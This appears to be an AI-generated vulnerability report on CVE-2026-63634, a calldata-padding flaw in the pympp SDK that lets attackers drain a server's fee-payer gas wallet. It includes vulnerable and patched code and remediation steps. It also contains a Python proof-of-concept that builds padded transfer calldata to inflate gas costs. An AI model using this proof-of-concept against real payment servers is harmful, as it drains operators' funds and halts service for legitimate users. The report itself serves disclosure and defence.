CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-63634

CVE-2026-63634: EVM Calldata Padding Gas Drainage in pympp Fee-Payer Verification

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 18, 2026·11 min read·2 visits

Executive Summary (TL;DR)

Versions of the pympp Python SDK prior to 0.9.1 fail to enforce strict upper bounds on ABI-encoded transaction calldata during fee-payer sponsorship validation. Unauthenticated attackers can append arbitrary non-zero byte padding to valid payment transactions, inflating intrinsic EVM gas costs and draining the server's fee-payer wallet.

CVE-2026-63634 is an improper input validation vulnerability (CWE-20) in pympp, the official Python SDK for the Machine Payments Protocol (MPP) developed by tempoxyz. In versions prior to 0.9.1, servers acting as transaction fee payers validate incoming Ethereum Virtual Machine (EVM) transaction calldata using minimum-length thresholds rather than exact byte-length assertions. Because EVM smart contract dispatchers ignore trailing unparsed bytes while the protocol charges intrinsic gas for every byte in a transaction payload, an unauthenticated attacker can append thousands of non-zero padding bytes to legitimate payment requests. The server cosigns and broadcasts the oversized transaction, forcing the fee-payer wallet to expend inflated gas costs up to the policy limit and depleting its native token reserves.

Vulnerability Overview

The Machine Payments Protocol (MPP), developed by tempoxyz, provides standardized payment rails for automated client-server transactions over Ethereum Virtual Machine (EVM) compatible networks. The pympp library serves as the official Python SDK for integrating MPP payment intents, transaction verification, and blockchain settlement into backend services. A core feature of the Tempo payment method within pympp is fee-payer sponsorship, which allows a backend server to pay the native blockchain gas fees on behalf of a client submitting a token transfer or swap.

In a sponsored transaction workflow, a client constructs an unsigned or partially signed transaction containing one or more contract calls—such as ERC-20 transfer, transferWithMemo, approve, or swapExactAmountOut—and submits it to the server. The pympp verification engine inspects the transaction payload against the server's ChargeRequest parameters and a configured FeePayerPolicy. If the target contract, method selector, recipient address, and transfer amount match the expected intent, the server cosigns the transaction as the fee_payer and broadcasts it to the RPC node.

In pympp versions prior to 0.9.1, the calldata verification functions in src/mpp/methods/tempo/intents.py exhibit an improper input validation flaw (CWE-20). When validating the hexadecimal string representation of the ABI-encoded contract call data, the SDK either checks only that the string meets a minimum length requirement (len >= 136 or len >= 200) or omits length validation entirely for prerequisite swap calls. It does not reject payloads containing trailing data beyond the expected ABI parameter boundary.

This discrepancy creates an economic attack vector against the server's hot wallet. While EVM smart contracts ignore trailing bytes beyond the declared ABI parameters during execution, the underlying blockchain protocol charges intrinsic gas for every byte transmitted in the transaction's data field. An unauthenticated attacker can append thousands of non-zero bytes to a valid payment call, pass all pympp intent verification checks, and force the server's fee-payer account to subsidize the inflated intrinsic gas cost.

Root Cause Analysis

The root cause of CVE-2026-63634 is an architectural mismatch between how the Ethereum Virtual Machine (EVM) accounts for transaction data costs and how the pympp intent verifier validates ABI-encoded calldata strings. Under the EVM specification (including EIP-2028), every transaction incurs an intrinsic gas cost calculated before any smart contract bytecode is executed. In addition to the base transaction fee (21,000 gas), the protocol charges 4 gas for every zero byte (0x00) and 16 gas for every non-zero byte (0x01 through 0xFF) present in the transaction's calldata payload.

Conversely, standard Solidity smart contract function dispatchers and off-chain ABI decoders operate on fixed byte offsets. When a contract receives a call to transfer(address,uint256), the dispatcher reads the first 4 bytes to identify the function selector (0xa9059cbb), reads bytes 4 through 35 as the recipient address, and reads bytes 36 through 67 as the transfer amount. Any bytes present at offset 68 or higher are never read by the CALLDATALOAD opcode and have no effect on the contract's state transition.

In src/mpp/methods/tempo/intents.py, the functions _match_single_transfer_calldata and _match_transfer_calldata were implemented to parse raw hex-encoded calldata strings (with the 0x prefix stripped) by slicing fixed character ranges. To prevent index out-of-bounds errors during slicing, the developer implemented lower-bound guards: if len(call_data_hex) < 136: return False for standard transfers (4-byte selector + two 32-byte words = 68 bytes = 136 hex characters) and if len(call_data_hex) < 200: return False for transfers with a 32-byte memo (100 bytes = 200 hex characters).

Furthermore, when a transaction includes a token swap prefix—consisting of an ERC-20 approve call followed by a swapExactAmountOut call—the _validate_call_scope function verified the 4-byte function selectors and extracted address arguments using _decode_call_address_arg, which sliced call_data_hex[32:72]. _validate_call_scope performed no upper-bound length validation on either approve_data or swap_data. Because the server's FeePayerPolicy only enforces a ceiling on the transaction's declared gas_limit (defaulting to a maximum of 2,000,000 gas) and max_fee_per_gas (up to 100 Gwei), any calldata padding whose intrinsic gas fits within the 2,000,000 gas ceiling is accepted and signed.

Code Analysis

The vulnerability resides in src/mpp/methods/tempo/intents.py across three validation routines: _match_single_transfer_calldata, _match_transfer_calldata, and _validate_call_scope. In versions prior to 0.9.1, _match_single_transfer_calldata and _match_transfer_calldata checked only that the hex string was long enough to contain the required parameters before slicing specific character offsets.

# Vulnerable code in src/mpp/methods/tempo/intents.py (< 0.9.1)
def _match_single_transfer_calldata(
    call_data_hex: str,
    recipient: str,
    amount: int,
    memo: bytes | None,
) -> bool:
    # FLAW: Only enforces a lower bound of 136 hex chars (68 bytes).
    # Trailing hex characters beyond index 136 (or 200) are ignored.
    if len(call_data_hex) < 136:
        return False
 
    selector = call_data_hex[:8].lower()
 
    if memo is not None:
        if selector != TRANSFER_WITH_MEMO_SELECTOR:
            return False
    elif selector == TRANSFER_WITH_MEMO_SELECTOR:
        # FLAW: Only enforces a lower bound of 200 hex chars (100 bytes).
        if len(call_data_hex) < 200:
            return False
    elif selector != TRANSFER_SELECTOR:
        return False
 
    # Fixed-offset slicing extracts valid parameters regardless of trailing bytes
    decoded_to = "0x" + call_data_hex[32:72]
    decoded_amount = int(call_data_hex[72:136], 16)
    if decoded_to.lower() != recipient.lower() or decoded_amount != amount:
        return False
 
    if memo is not None:
        if len(call_data_hex) < 200:
            return False
        decoded_memo = bytes.fromhex(call_data_hex[136:200])
        if decoded_memo != memo:
            return False
 
    return True

In commit 57a750d0d980b8e6c3bea62a40b7621f176ff1f0, the authors remediated the vulnerability by defining four explicit length constants corresponding to the exact hex character counts of all supported static ABI calls: TRANSFER_CALLDATA_HEX_LENGTH (136), TRANSFER_WITH_MEMO_CALLDATA_HEX_LENGTH (200), APPROVE_CALLDATA_HEX_LENGTH (136), and SWAP_EXACT_AMOUNT_OUT_CALLDATA_HEX_LENGTH (264). The inequality checks (<) were replaced with strict inequality assertions (!=), and explicit length checks were added to _validate_call_scope.

# Patched code in src/mpp/methods/tempo/intents.py (0.9.1)
TRANSFER_CALLDATA_HEX_LENGTH = 8 + (2 * 64)               # 136 hex chars (68 bytes)
TRANSFER_WITH_MEMO_CALLDATA_HEX_LENGTH = 8 + (3 * 64)     # 200 hex chars (100 bytes)
APPROVE_CALLDATA_HEX_LENGTH = 8 + (2 * 64)                # 136 hex chars (68 bytes)
SWAP_EXACT_AMOUNT_OUT_CALLDATA_HEX_LENGTH = 8 + (4 * 64)  # 264 hex chars (132 bytes)
 
def _match_single_transfer_calldata(
    call_data_hex: str,
    recipient: str,
    amount: int,
    memo: bytes | None,
) -> bool:
    selector = call_data_hex[:8].lower()
 
    # FIX: Enforce exact character length matching for each selector type
    if memo is not None:
        if selector != TRANSFER_WITH_MEMO_SELECTOR:
            return False
        if len(call_data_hex) != TRANSFER_WITH_MEMO_CALLDATA_HEX_LENGTH:
            return False
    elif selector == TRANSFER_WITH_MEMO_SELECTOR:
        if len(call_data_hex) != TRANSFER_WITH_MEMO_CALLDATA_HEX_LENGTH:
            return False
    elif selector == TRANSFER_SELECTOR:
        if len(call_data_hex) != TRANSFER_CALLDATA_HEX_LENGTH:
            return False
    else:
        return False

Similarly, inside _validate_call_scope, the patch validates the exact length of both the approve and swapExactAmountOut call payloads before decoding their address arguments:

# Patched _validate_call_scope in src/mpp/methods/tempo/intents.py (0.9.1)
    if has_swap_prefix:
        approve_to, _, approve_data = calls[0]
        swap_to, _, swap_data = calls[1]
        # FIX: Reject padded approve or swap calls immediately
        if len(approve_data) != APPROVE_CALLDATA_HEX_LENGTH:
            raise VerificationError("Invalid transaction: malformed approve call data")
        if len(swap_data) != SWAP_EXACT_AMOUNT_OUT_CALLDATA_HEX_LENGTH:
            raise VerificationError("Invalid transaction: malformed swap call data")

The fix is complete for all four contract methods currently supported by the Tempo intent module. Because all parameters in transfer(address,uint256), transferWithMemo(address,uint256,bytes32), approve(address,uint256), and swapExactAmountOut(address,address,uint256,uint256) are static 32-byte ABI types, their valid ABI encodings have deterministic, invariant byte lengths. Enforcing exact hex string lengths completely eliminates the possibility of trailing calldata injection in these methods.

Exploitation

Exploiting CVE-2026-63634 requires no authentication or special privileges beyond network access to a server endpoint that accepts MPP Tempo sponsored transactions (0x76 client transactions or 0x78 fee-payer envelopes). The attacker initiates a standard payment flow with the server to obtain a ChargeRequest specifying the payment amount, currency (token contract address), and recipient.

Instead of using standard ABI encoding to construct the 68-byte transfer payload, the attacker appends thousands of non-zero bytes (such as 0x01) to the end of the hex string. Using non-zero bytes maximizes the attack's efficiency because the EVM charges 16 gas per non-zero byte compared to 4 gas per zero byte. The attacker also sets the transaction's gas_limit high enough to cover both the base execution cost and the added intrinsic calldata gas, keeping it at or below the server's FeePayerPolicy cap of 2,000,000 gas.

# Proof of Concept based on vendor regression test in commit 57a750d0d980b8e6c3bea62a40b7621f176ff1f0
from pytempo import Call
from mpp.methods.tempo.intents import ChargeRequest
 
def build_padded_transfer_calldata(recipient: str, amount: int, padding_bytes: int = 5500) -> str:
    """Constructs valid ERC-20 transfer calldata with trailing non-zero padding."""
    transfer_selector = "a9059cbb"
    to_word = recipient[2:].lower().zfill(64)
    amount_word = hex(amount)[2:].zfill(64)
    # Each '01' byte adds 16 intrinsic gas during EVM transaction processing
    malicious_padding = "01" * padding_bytes
    return f"0x{transfer_selector}{to_word}{amount_word}{malicious_padding}"
 
currency_addr = "0x20c0000000000000000000000000000000000000"
recipient_addr = "0x742d35Cc6634c0532925a3b844bC9e7595F8fE00"
 
# 5,500 non-zero bytes = 11,000 hex chars = 88,000 extra intrinsic gas
padded_data = build_padded_transfer_calldata(recipient_addr, 1000000, padding_bytes=5500)
 
malicious_call = Call.create(
    to=currency_addr,
    value=0,
    data=padded_data,
)
 
# When submitted inside a sponsored transaction envelope to pympp < 0.9.1,
# _match_transfer_calldata evaluates len(call_data_hex) >= 136 as True,
# verifies the slice [0:136], and cosigns the transaction as fee_payer.

In the regression test provided in commit 57a750d0d980b8e6c3bea62a40b7621f176ff1f0, appending 5,500 bytes of 0x01 padding inflates the intrinsic gas cost by 88,000 gas ($5,500 \times 16$). If an attacker maximizes the payload size up to the FeePayerPolicy ceiling of 2,000,000 gas (approximately 120,000 non-zero padding bytes) at the maximum permitted fee of 100 Gwei, a single sponsored transaction forces the server to burn up to 0.2 native gas tokens (e.g., ETH). By automating these padded requests across multiple low-value transfers or swap operations, an attacker can rapidly drain the fee-payer wallet's balance.

Impact Assessment

The primary impact of CVE-2026-63634 is the unauthorized depletion of economic resources from the server's fee-payer wallet, accompanied by a secondary denial-of-service condition for legitimate clients. Once the fee-payer hot wallet's native token balance is exhausted through padded transactions, all subsequent legitimate sponsored transactions fail at the RPC broadcast stage with insufficient funds errors, halting payment processing for users who rely on gas sponsorship.

Under CVSS v4.0, this vulnerability is rated 6.9 (Medium) with the vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. The Attack Vector is Network (AV:N), Attack Complexity is Low (AC:L), Attack Requirements are None (AT:N), Privileges Required are None (PR:N), and User Interaction is None (UI:N). The impact is scored as Low Integrity impact (VI:L) on the vulnerable system because the attacker causes unauthorized financial expenditure from the server-controlled wallet without gaining arbitrary code execution or modifying application database records.

> [!NOTE] > This vulnerability only affects pympp deployments that actively configure and expose a fee_payer account to sponsor client transactions. Servers that only verify already-mined on-chain transaction hashes (where the client paid their own gas fees) are not exposed to gas draining.

According to FIRST EPSS metrics, CVE-2026-63634 has an EPSS score of 0.00291 (0.291% probability of exploitation in the next 30 days), placing it in the 22.01st percentile. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and there is no evidence of active exploitation in the wild.

Remediation

To remediate CVE-2026-63634, operators and developers using pympp must upgrade to version 0.9.1 or later. Version 0.9.1 enforces strict equality checks on the hex-encoded length of all supported Tempo smart contract calls (transfer, transferWithMemo, approve, and swapExactAmountOut), ensuring that any transaction containing trailing padding bytes is rejected with a VerificationError prior to fee-payer cosigning.

pip install --upgrade "pympp>=0.9.1"

For environments where an immediate dependency upgrade cannot be deployed, operators can implement compensating controls at the reverse proxy, API gateway, or application middleware layer:

  1. Request Payload Size Limits: Configure the HTTP server or API gateway fronting the MPP payment endpoint to enforce strict maximum byte sizes on incoming request bodies or authorization headers containing serialized 0x76 / 0x78 transactions. A standard single-call or swap-prefixed Tempo transaction envelope is less than 2 KB; rejecting payloads larger than 4 KB prevents large-scale calldata padding.
  2. Restrict FeePayerPolicy Limits: Lower the max_gas_limit and max_fee_per_gas parameters in the server's FeePayerPolicy configuration to the minimum values required for standard ERC-20 transfers and swaps (for example, capping max_gas_limit at 150,000 gas instead of the default 2,000,000). This bounds the maximum gas an attacker can consume in a single transaction.
  3. Application-Level Pre-Validation: Inspect incoming RLP-encoded transactions before passing them to ChargeIntent verification and reject any call where len(call.data) exceeds 132 bytes (264 hex characters).

Official Patches

tempoxyzOfficial GitHub Security Advisory GHSA-v858-xh7w-8jr5
tempoxyzSecurity patch commit enforcing exact calldata hex lengths
tempoxyzpympp v0.9.1 release notes and tag

Fix Analysis (1)

Technical Appendix

CVSS Score
6.9/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Probability
0.29%
Top 78% most exploited

Affected Systems

tempoxyz/pympp (PyPI: pympp)

Affected Versions Detail

Product
Affected Versions
Fixed Version
pympp
tempoxyz
< 0.9.10.9.1
AttributeDetail
Vulnerability IDCVE-2026-63634 / GHSA-v858-xh7w-8jr5
CWE ClassificationCWE-20 (Improper Input Validation)
CVSS v4.0 Score6.9 Medium (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)
EPSS Score0.291% (22.01st Percentile)
Attack VectorNetwork (Unauthenticated Sponsored Transaction Submission)
Primary ImpactEconomic Gas Drainage of Server Fee-Payer Wallet
Affected Versionspympp < 0.9.1
Patched Versionpympp 0.9.1

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
CWE-20
Improper Input Validation

The product receives input or data, but does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Known Exploits & Detection

GitHubOfficial regression tests in tests/test_tempo_Validation.py demonstrating padded transfer, approve, and swap calldata payloads.

Vulnerability Timeline

Patch committed to tempoxyz/pympp repository (57a750d0d980b8e6c3bea62a40b7621f176ff1f0)
2026-07-01
pympp version 0.9.1 released on GitHub and PyPI
2026-07-01
GitHub Security Advisory GHSA-v858-xh7w-8jr5 and CVE-2026-63634 published
2026-11-09
CVE-2026-63634 record updated in official NVD and CVE.org feeds
2026-11-12

References & Sources

  • [1]GitHub Security Advisory: GHSA-v858-xh7w-8jr5
  • [2]GitHub Commit: 57a750d0d980b8e6c3bea62a40b7621f176ff1f0
  • [3]pympp Release v0.9.1
  • [4]NVD - CVE-2026-63634
  • [5]CVE.org Record: CVE-2026-63634
  • [6]CVEListV5 JSON Record: CVE-2026-63634

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•5 minutes ago•CVE-2026-53998
10.0

CVE-2026-53998: Format String Injection and Information Disclosure in Arize Phoenix applyChatTemplate

CVE-2026-53998 is a critical format string injection vulnerability in Arize Phoenix affecting versions 13.0.0 prior to 15.7.0. The flaw resides in the applyChatTemplate GraphQL endpoint, which passes user-supplied template strings directly to Python's native str.format() method via FStringTemplateFormatter._format. Because attribute access is not restricted, an attacker can traverse Python dunder attributes (__class__, __init__, __globals__) to read arbitrary process memory and environment variables, including the PHOENIX_SECRET cryptographic key and third-party API credentials.

Amit Schendel
Amit Schendel
0 views•9 min read
•about 2 hours ago•CVE-2026-14265
7.5

CVE-2026-14265: Remote Code Execution via Unsafe Deserialization in AWS Advanced JDBC Wrapper

CVE-2026-14265 (GHSA-c5q4-97jw-jggh) is a high-severity Remote Code Execution (RCE) vulnerability in the Amazon Web Services (AWS) Advanced JDBC Wrapper versions 3.3.0 through 4.0.0. The defect resides in the `RemoteQueryCachePlugin` and its underlying `CachedResultSet` implementation, which uses an unfiltered `java.io.ObjectInputStream` to deserialize cached SQL query results retrieved from external Redis or Valkey backends. An attacker with write access to the shared cache infrastructure can inject serialized Java gadget chains into cache keys, achieving arbitrary code execution within the JVM context of any application server consuming the cached entries.

Amit Schendel
Amit Schendel
2 views•10 min read
•about 3 hours ago•CVE-2026-63672
6.1

CVE-2026-63672: User-Controlled Identity Provider Selection in EGroupware SAML Authentication

CVE-2026-63672 is an open redirect and insecure Identity Provider (IdP) selection vulnerability in the SAML Single Sign-On (SSO) authentication module of EGroupware. In affected versions, the login method in api/src/Auth/Saml.php accepts an unauthenticated HTTP request parameter (idp) and passes it to the underlying SimpleSAMLphp library after only verifying that the string begins with https://. Because the input is not validated against the application's configured whitelist of trusted identity providers, an attacker can construct a malicious link that redirects authenticating users to an arbitrary, attacker-controlled SAML Identity Provider.

Amit Schendel
Amit Schendel
5 views•9 min read
•about 4 hours ago•CVE-2026-62336
8.5

CVE-2026-62336: Local Privilege Escalation via Symlink Following in qbee-agent

CVE-2026-62336 (GHSA-xhv5-8fpq-g7hf) is a high-severity local privilege escalation, arbitrary file overwrite, and denial-of-service vulnerability in qbee-agent, the client daemon for the qbee.io IoT device management platform. Prior to version 2026.27, the root-privileged agent failed to validate path components against symbolic links during directory creation and file opening operations in app/configuration/file_manager.go. Local unprivileged users can exploit this flaw by planting symlinks in user-controlled configuration paths or predictable temporary staging locations, causing the daemon to overwrite, truncate, or change ownership of sensitive root-owned system files.

Amit Schendel
Amit Schendel
4 views•10 min read
•about 5 hours ago•CVE-2026-110782
8.7

CVE-2026-110782: Cryptographic Signature Verification Bypass and Cross-IdP Impersonation in SimpleSAMLphp SAML2

CVE-2026-110782 is an authentication bypass and cryptographic signature verification failure in the SimpleSAMLphp SAML2 library (simplesamlphp/saml2). Resulting from an incomplete fix for CVE-2026-49283, the HTTP-Artifact binding implementation verifies the outer ArtifactResponse signature but unconditionally returns unsigned embedded SAML Responses without verifying signatures or validating that the embedded issuer matches the artifact issuer. In multi-IdP federation environments, an attacker controlling one trusted Identity Provider (IdP) can forge arbitrary identity assertions claiming to originate from another trusted IdP.

Amit Schendel
Amit Schendel
5 views•11 min read
•about 6 hours ago•CVE-2026-110789
7.5

CVE-2026-110789: Pre-Authentication Denial of Service via ASN.1 DER Length Parsing in js-libp2p (@libp2p/crypto)

CVE-2026-110789 (GHSA-rvfr-cqwq-rc4j) is a high-severity pre-authentication Denial of Service (DoS) vulnerability in the @libp2p/crypto package of the js-libp2p networking stack prior to version 5.1.22. An improper length validation flaw in the ASN.1 DER decoder allows an unauthenticated remote peer to send a crafted RSA public key during the Identify protocol exchange, forcing the parser into a synchronous loop over attacker-claimed length values. Because this loop executes within a single Node.js event-loop tick prior to identity or cryptographic signature verification, it bypasses application timeouts, stalls the event loop for 4 to 5 seconds per connection, and transiently allocates up to 2 GB of memory.

Amit Schendel
Amit Schendel
6 views•11 min read